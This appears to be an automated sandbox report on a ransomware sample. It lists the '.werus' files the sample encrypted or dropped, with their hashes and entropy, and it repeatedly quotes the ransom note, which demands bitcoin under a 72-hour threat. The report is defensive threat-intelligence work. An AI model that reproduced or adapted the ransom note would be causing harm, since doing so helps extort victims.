Preview:	ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_4.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.136533776011465
Encrypted:	false
SSDEEP:	6:fRuJD5ZXBCX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:pytpgnm0VpvD2DLTKAVixyvGQe5
MD5:	2C88913B5EB6BF90E9CF824B69820A40
SHA1:	C1026101714253664B1C231C3C83CAEE1BADEEC3
SHA-256:	88E475F5B4C4D1AEE75503B2C0A198063732F0DC822ADB2DAF36C284629A7DE6
SHA-512:	23C65D312B3D66953365C34BA6AACF9CC273EF26A1145897196CC06EA490F36E381B18BEEA128C634164EC55E16590CBBEF6C6C8C0B11A9C56628A54C96E5908
Malicious:	true
Preview:	ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_5.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	384
Entropy (8bit):	5.136533776011465
Encrypted:	false
SSDEEP:	6:fRuJD5ZXBCX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:pytpgnm0VpvD2DLTKAVixyvGQe5
MD5:	2C88913B5EB6BF90E9CF824B69820A40
SHA1:	C1026101714253664B1C231C3C83CAEE1BADEEC3
SHA-256:	88E475F5B4C4D1AEE75503B2C0A198063732F0DC822ADB2DAF36C284629A7DE6
SHA-512:	23C65D312B3D66953365C34BA6AACF9CC273EF26A1145897196CC06EA490F36E381B18BEEA128C634164EC55E16590CBBEF6C6C8C0B11A9C56628A54C96E5908
Malicious:	true
Preview:	ID: 5621a09a-6865-4fe9-9682-1b2d95c65b31..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Desktop\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Desktop\aASfOObWpW.exe.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	17936
Entropy (8bit):	7.990716613356486
Encrypted:	true
SSDEEP:	384:m5yJSjIy/SrNx0aDOG7Ns515MbMda9PpYY4SqIqQjZWF14Y:m1r/SrNx7/015MAoYaqBQjc4Y
MD5:	64C900EBAB2E99622E34D1B05935C31C
SHA1:	D56597BB5DDA5EA886D92C194932D1D178CECC88
SHA-256:	F493CBA39AFF1DDB011298D6F8B0F9B35E08ACEC292F7B8BEFA37D38EB769AD9
SHA-512:	342BC466A66CE03506FD2032D1C500E0C1A04D139242F9BE356898C58DACAF69FE7A75ED5BDFC3E6E71677A735DC24FB7CDD8792D50B251B597D95A3F36354CF
Malicious:	true
Preview:	....+.,Nd.z..5.....{.k.U. .'.!..z..B.V......\....c......?.0....0n.:...T.....qp.....2iPqg..J...C.9h.E.4..}p.../7>."......m...Az)HL....]...o..\|[...w.S.,...Y.)3O...@.$...).Ez.'Nl..B.-....#q.@....v...Q@.y.t.....I........5....I.....n.5.N....i..7`.....Q..rs.h...J.?.(....5@R..vw2..,.o.4.%.b...@PUv.Y.........e...>>v._.....O..s0..~$.[9...G."..ut......5..K.q....U."k.1.>Z..1..=.c.....;.... w../.AeQ..YZ....?....=.......&.m..C...lf.i......vd[k". .yb$...xN...C._...S.K..$2..f.?ph...\.~..._..[.e.o.:P!.....n..S...M.k.....;M..y.3).K....c.zU.-.J...]&d...).1R.O.K....g.9......K.<...._...g......A..}A,.F...SE5...k.9.1H7\....%..2.u Q../(.....jq..o.&l(RA.)iB....'.....[....v.....=.......7T.....{./S_.$<..4X.......BX..{...O.4nW!.....>..U....IFU,3...:.0j.6..b#....<.+....].7..:..\|......I.D......v...w.-.v.c:..G.......H.%.p(...}S.o.!4k&,hb....B...o.t....%;.~...5_.^. ...9..Gz_...^>..pp.>....7..N.}TdIe...d?U$G...qq.]o...N\|..................g..T.)LF_...t.DA..!....n..f.6.!n.

C:\Users\user\Desktop\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	7.204465388644905
Encrypted:	false
SSDEEP:	6:wXaiw1hLi4fFp/rndfDF/CGBab0huA/tP808zvuZhEjD85GG0rJUkqwCc7tm9:wXaiJm1ndrFJBab00A/K08zvlg5erhlq
MD5:	03256873DAE227EB04A6160456982684
SHA1:	1AEAB48AC998B1BFCFDB06414CAFBB7556C06FE5
SHA-256:	0674F7847D169762A6F7C9683BB4FD01BED241929FBB342F4BDCEFFD291A9F54
SHA-512:	09AD6153E337045145F4D55CED5152F082EE2CBA0E8669DD32A8D2644F138258FFCBB8D2AAE8D72ED9779549B6F87DC634AE450AEE812C50D8B15519CD6328C2
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En....kJ78....z....Rr....V-..u..4...,.v....T.."SG.c&..4.Z..r....e.o.......8...Ut.:..e..M....M..=....i'v"m..\^.f\|?a..%....MKxX..

C:\Users\user\Documents\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Documents\BJZFPPWAPT.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Documents\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\Documents\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
